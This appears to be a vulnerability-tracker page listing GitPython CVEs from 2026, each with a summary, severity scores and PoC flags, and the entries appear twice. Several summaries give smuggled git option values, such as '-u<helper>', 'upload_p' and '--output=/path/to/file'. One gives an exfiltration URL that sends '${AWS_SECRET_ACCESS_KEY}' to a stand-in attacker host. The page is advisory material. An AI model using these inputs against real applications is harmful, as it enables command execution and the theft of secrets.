Gitpython Developers

CVE	Summary	Severity	CVSS	EPSS	Priority	Signals
CVE-2026-78676	Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config values: a dormant crafted value is silently rewritten into a live directive such as core.hooksPath whenever GitPython performs any unrelated config write. An attacker who can seed a malicious config value can thereby point hook execution at attacker-controlled code, gaining code execution the next time a hook-invoking git operation runs. Reported by VulnCheck (CWE-88) with a CVSS 4.0 base of 9.3; no public exploit or CISA KEV listing is identified at time of analysis.	CRITICAL	9.3	0.4%	47	PoC
CVE-2026-67324	Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-option syntax, letting an attacker who controls clone options smuggle -u<helper> (the short form of --upload-pack=<helper>) past the block on --upload-pack/-u. Applications calling Repo.clone_from with attacker-influenced multi_options and allow_unsafe_options=False are affected, allowing Git to execute an arbitrary helper command during clone despite the safety gate being active. Reported by VulnCheck with a working local proof-of-concept; publicly available exploit code exists, but there is no public exploit identified as used in active attacks and it is not in CISA KEV.	CRITICAL	9.3	0.4%	47
CVE-2026-67325	Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blocklist by supplying abbreviated git option names that git's CLI resolves to dangerous long-options at runtime. This is an incomplete fix of CVE-2026-42215 (patched in 3.1.47): the guard canonicalizes only underscore-to-hyphen but does not model git's unambiguous long-option prefix abbreviation feature, so a kwarg like `upload_p` passes the blocklist unchanged yet arrives at git as `--upload-pack`, enabling arbitrary command execution. No CISA KEV listing or confirmed public exploit code was identified at time of analysis, though the GHSA advisory includes precise source code and sufficient technical detail to substantially lower exploitation barrier.	HIGH	8.7	1.5%	45	PoC
CVE-2026-42215	Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via underscore-formatted kwargs that bypass unsafe option validation. Applications passing attacker-controlled kwargs to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push() are vulnerable even when allow_unsafe_options=False (default). GitHub-confirmed exploit with vendor-released patch 3.1.47. CVSS 8.8 reflects network vector with low complexity and authenticated access; no EPSS/KEV data indicates exploitation not yet widespread beyond proof-of-concept demonstration.	HIGH	8.8	0.1%	44	PoC
CVE-2026-67323	Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-controlled arguments to four public API methods. `Repo.archive()` and `git.ls_remote()` forward caller-supplied keyword arguments into the git argument vector without consulting GitPython's own unsafe-options denylist, enabling arbitrary command execution via options such as `--exec` or `--upload-pack`. `Repo.iter_commits()` and `Repo.blame()` accept unsanitized revision strings without a leading-dash check, so a value like `--output=/path/to/file` is interpreted by git as an option, truncating an arbitrary file. No public exploit code or CISA KEV listing was identified at time of analysis; a vendor-released patch is available in 3.1.51.	HIGH	8.6	1.0%	44	PoC
CVE-2026-73625	Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation logic inspects kwarg keys but never their values, allowing an attacker to smuggle dangerous git options such as --upload-pack inside single-character kwarg values across every guarded method - clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. Any application that passes externally-influenced kwargs to these methods is fully compromised; the attacker achieves arbitrary OS command execution as the host process. A working proof-of-concept is publicly available in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.	HIGH	8.7	0.5%	44
CVE-2026-76220	Arbitrary OS command execution in GitPython before 3.1.58 is possible by bypassing the check_unsafe_options guard using a single-character kwarg combined with split_single_char_options=False, causing git's short-option parser to interpret a smuggled joined token as --upload-pack=<cmd>. This is a second-order incomplete-fix bypass of the previously patched GHSA-r9mr-m37c-5fr3, affecting all guarded methods including clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. A working proof-of-concept is publicly available in the upstream GitHub Security Advisory GHSA-wvpp-8hx9-p66j; no CISA KEV listing is present at time of analysis, but the public PoC significantly lowers the exploitation bar.	HIGH	8.7	0.5%	44	PoC
CVE-2026-78677	Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. The library's clone operations omit `--separate-git-dir` from the `unsafe_git_clone_options` blocklist, so any application that passes attacker-controlled values to `Repo.clone_from()` or `Repo.clone()` allows git to redirect repository metadata to an arbitrary filesystem path. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the path-traversal primitive combined with git-hook execution capability produces a realistic high-integrity-impact scenario in exposed applications.	HIGH	8.7	0.4%	44	PoC
CVE-2026-76221	Config-name injection in GitPython <= 3.1.57 enables arbitrary git-config directive forgery and remote code execution via `core.sshCommand` or `core.hooksPath`. The option-name validator in `git/config.py` only blocks CR/LF/NUL, allowing `=`, `#`, and whitespace to pass unchecked; `write_section` then writes the option name verbatim, causing git to parse attacker-supplied content as a valid directive. Exploitation requires a calling application to forward attacker-influenced input to `config_writer.set_value()` as the option-name argument, and a proof-of-concept is publicly confirmed in the vendor GHSA advisory. No CISA KEV listing is present at time of analysis.	HIGH	8.7	0.4%	44
CVE-2026-87817	Arbitrary code execution in GitPython before 3.1.60 is possible when a victim application calls index.commit() on an attacker-controlled repository. The root cause is insufficient validation of the git directory location: GitPython trusts tracked files such as gitdir, commondir, and HEAD to resolve the effective git directory, allowing a crafted repository to redirect that resolution to an attacker-controlled path containing a malicious pre-commit hook. No public exploit has been identified at time of analysis, but the attack is realistic in any Python-based DevOps pipeline, CI/CD system, or tooling that opens and commits to externally sourced repositories.	HIGH	8.7	0.3%	44
CVE-2026-73622	Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.	HIGH	8.7	0.3%	44
CVE-2026-67322	Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clone_from()` to steal secrets from the hosting process's environment. The `Git.polish_url()` method unconditionally calls `os.path.expandvars()` on caller-supplied URLs on all non-Cygwin platforms, expanding tokens like `$AWS_SECRET_ACCESS_KEY` or `${GITHUB_TOKEN}` before passing the resulting URL to a `git clone` subprocess - transmitting the expanded secret over the network to an attacker-controlled host. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack is trivial to weaponize against CI servers, git-hosting mirrors, and dependency scanners that accept user-supplied repository URLs.	HIGH	8.7	0.3%	44	PoC
CVE-2026-87819	Regular expression denial of service in GitPython before 3.1.60 allows unauthenticated remote attackers to exhaust server CPU resources by supplying a crafted commit with a malformed author or committer field. The vulnerable regex Actor.name_email_regex exhibits quadratic backtracking when processing an unterminated angle bracket in the author string, stalling affected processes for over two minutes per commit access. Any application that reads attacker-influenced git repositories using GitPython is exposed; no public exploit or active exploitation (CISA KEV) has been identified at time of analysis.	HIGH	8.7	0.3%	44
CVE-2026-78675	GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that contain [include] directives, because the library fails to disable the merge_includes feature in GitConfigParser. An attacker who can introduce a malicious .gitmodules into a repository processed by a vulnerable GitPython instance can cause the first line of any locally readable file to appear verbatim in a MissingSectionHeaderError exception when repo.submodules is accessed. No active exploitation has been confirmed (absent from CISA KEV) and no public POC is referenced in available intelligence; a vendor-released patch exists in version 3.1.59.	HIGH	8.6	0.1%	43	PoC
CVE-2026-76222	Path traversal in GitPython before 3.1.58 allows remote attackers who control a Git repository to create fully initialized, attacker-controlled Git repositories at arbitrary filesystem paths outside the intended clone directory. GitPython's independent submodule implementation reads submodule names from .gitmodules without any validation - a check that core Git added years ago in response to CVE-2018-11235 - and passes the raw, traversal-containing name directly to os.makedirs() and git clone. A proof-of-concept with Docker-based reproduction is publicly documented in GHSA-hmq2-w58f-27jc; no CISA KEV listing is present at time of analysis, indicating exploitation is not yet confirmed as widespread.	HIGH	8.4	0.3%	42	PoC

CVE-2026-78676

Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config values: a dormant crafted value is silently rewritten into a live directive such as core.hooksPath whenever GitPython performs any unrelated config write. An attacker who can seed a malicious config value can thereby point hook execution at attacker-controlled code, gaining code execution the next time a hook-invoking git operation runs. Reported by VulnCheck (CWE-88) with a CVSS 4.0 base of 9.3; no public exploit or CISA KEV listing is identified at time of analysis.

CRITICAL

9.3

0.4%

47

PoC

CVE-2026-67324

Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-option syntax, letting an attacker who controls clone options smuggle -u<helper> (the short form of --upload-pack=<helper>) past the block on --upload-pack/-u. Applications calling Repo.clone_from with attacker-influenced multi_options and allow_unsafe_options=False are affected, allowing Git to execute an arbitrary helper command during clone despite the safety gate being active. Reported by VulnCheck with a working local proof-of-concept; publicly available exploit code exists, but there is no public exploit identified as used in active attacks and it is not in CISA KEV.

CRITICAL

9.3

0.4%

47

CVE-2026-67325

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blocklist by supplying abbreviated git option names that git's CLI resolves to dangerous long-options at runtime. This is an incomplete fix of CVE-2026-42215 (patched in 3.1.47): the guard canonicalizes only underscore-to-hyphen but does not model git's unambiguous long-option prefix abbreviation feature, so a kwarg like `upload_p` passes the blocklist unchanged yet arrives at git as `--upload-pack`, enabling arbitrary command execution. No CISA KEV listing or confirmed public exploit code was identified at time of analysis, though the GHSA advisory includes precise source code and sufficient technical detail to substantially lower exploitation barrier.

HIGH

8.7

1.5%

45

PoC

CVE-2026-42215

Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via underscore-formatted kwargs that bypass unsafe option validation. Applications passing attacker-controlled kwargs to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push() are vulnerable even when allow_unsafe_options=False (default). GitHub-confirmed exploit with vendor-released patch 3.1.47. CVSS 8.8 reflects network vector with low complexity and authenticated access; no EPSS/KEV data indicates exploitation not yet widespread beyond proof-of-concept demonstration.

HIGH

8.8

0.1%

44

PoC

CVE-2026-67323

Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-controlled arguments to four public API methods. `Repo.archive()` and `git.ls_remote()` forward caller-supplied keyword arguments into the git argument vector without consulting GitPython's own unsafe-options denylist, enabling arbitrary command execution via options such as `--exec` or `--upload-pack`. `Repo.iter_commits()` and `Repo.blame()` accept unsanitized revision strings without a leading-dash check, so a value like `--output=/path/to/file` is interpreted by git as an option, truncating an arbitrary file. No public exploit code or CISA KEV listing was identified at time of analysis; a vendor-released patch is available in 3.1.51.

HIGH

8.6

1.0%

44

PoC

CVE-2026-73625

Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation logic inspects kwarg keys but never their values, allowing an attacker to smuggle dangerous git options such as --upload-pack inside single-character kwarg values across every guarded method - clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. Any application that passes externally-influenced kwargs to these methods is fully compromised; the attacker achieves arbitrary OS command execution as the host process. A working proof-of-concept is publicly available in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.

HIGH

8.7

0.5%

44

CVE-2026-76220

Arbitrary OS command execution in GitPython before 3.1.58 is possible by bypassing the check_unsafe_options guard using a single-character kwarg combined with split_single_char_options=False, causing git's short-option parser to interpret a smuggled joined token as --upload-pack=<cmd>. This is a second-order incomplete-fix bypass of the previously patched GHSA-r9mr-m37c-5fr3, affecting all guarded methods including clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. A working proof-of-concept is publicly available in the upstream GitHub Security Advisory GHSA-wvpp-8hx9-p66j; no CISA KEV listing is present at time of analysis, but the public PoC significantly lowers the exploitation bar.

HIGH

8.7

0.5%

44

PoC

CVE-2026-78677

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. The library's clone operations omit `--separate-git-dir` from the `unsafe_git_clone_options` blocklist, so any application that passes attacker-controlled values to `Repo.clone_from()` or `Repo.clone()` allows git to redirect repository metadata to an arbitrary filesystem path. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the path-traversal primitive combined with git-hook execution capability produces a realistic high-integrity-impact scenario in exposed applications.

HIGH

8.7

0.4%

44

PoC

CVE-2026-76221

Config-name injection in GitPython <= 3.1.57 enables arbitrary git-config directive forgery and remote code execution via `core.sshCommand` or `core.hooksPath`. The option-name validator in `git/config.py` only blocks CR/LF/NUL, allowing `=`, `#`, and whitespace to pass unchecked; `write_section` then writes the option name verbatim, causing git to parse attacker-supplied content as a valid directive. Exploitation requires a calling application to forward attacker-influenced input to `config_writer.set_value()` as the option-name argument, and a proof-of-concept is publicly confirmed in the vendor GHSA advisory. No CISA KEV listing is present at time of analysis.

HIGH

8.7

0.4%

44

CVE-2026-87817

Arbitrary code execution in GitPython before 3.1.60 is possible when a victim application calls index.commit() on an attacker-controlled repository. The root cause is insufficient validation of the git directory location: GitPython trusts tracked files such as gitdir, commondir, and HEAD to resolve the effective git directory, allowing a crafted repository to redirect that resolution to an attacker-controlled path containing a malicious pre-commit hook. No public exploit has been identified at time of analysis, but the attack is realistic in any Python-based DevOps pipeline, CI/CD system, or tooling that opens and commits to externally sourced repositories.

HIGH

8.7

0.3%

44

CVE-2026-73622

Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.

HIGH

8.7

0.3%

44

CVE-2026-67322

Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clone_from()` to steal secrets from the hosting process's environment. The `Git.polish_url()` method unconditionally calls `os.path.expandvars()` on caller-supplied URLs on all non-Cygwin platforms, expanding tokens like `$AWS_SECRET_ACCESS_KEY` or `${GITHUB_TOKEN}` before passing the resulting URL to a `git clone` subprocess - transmitting the expanded secret over the network to an attacker-controlled host. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack is trivial to weaponize against CI servers, git-hosting mirrors, and dependency scanners that accept user-supplied repository URLs.

HIGH

8.7

0.3%

44

PoC

CVE-2026-87819

Regular expression denial of service in GitPython before 3.1.60 allows unauthenticated remote attackers to exhaust server CPU resources by supplying a crafted commit with a malformed author or committer field. The vulnerable regex Actor.name_email_regex exhibits quadratic backtracking when processing an unterminated angle bracket in the author string, stalling affected processes for over two minutes per commit access. Any application that reads attacker-influenced git repositories using GitPython is exposed; no public exploit or active exploitation (CISA KEV) has been identified at time of analysis.

HIGH

8.7

0.3%

44

CVE-2026-78675

GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that contain [include] directives, because the library fails to disable the merge_includes feature in GitConfigParser. An attacker who can introduce a malicious .gitmodules into a repository processed by a vulnerable GitPython instance can cause the first line of any locally readable file to appear verbatim in a MissingSectionHeaderError exception when repo.submodules is accessed. No active exploitation has been confirmed (absent from CISA KEV) and no public POC is referenced in available intelligence; a vendor-released patch exists in version 3.1.59.

HIGH

8.6

0.1%

43

PoC

CVE-2026-76222

Path traversal in GitPython before 3.1.58 allows remote attackers who control a Git repository to create fully initialized, attacker-controlled Git repositories at arbitrary filesystem paths outside the intended clone directory. GitPython's independent submodule implementation reads submodule names from .gitmodules without any validation - a check that core Git added years ago in response to CVE-2018-11235 - and passes the raw, traversal-containing name directly to os.makedirs() and git clone. A proof-of-concept with Docker-based reproduction is publicly documented in GHSA-hmq2-w58f-27jc; no CISA KEV listing is present at time of analysis, indicating exploitation is not yet confirmed as widespread.

HIGH

8.4

0.3%

42

PoC

Severity Breakdown

Monthly CVE Trend

Affected Products (2)

Top Risky CVEs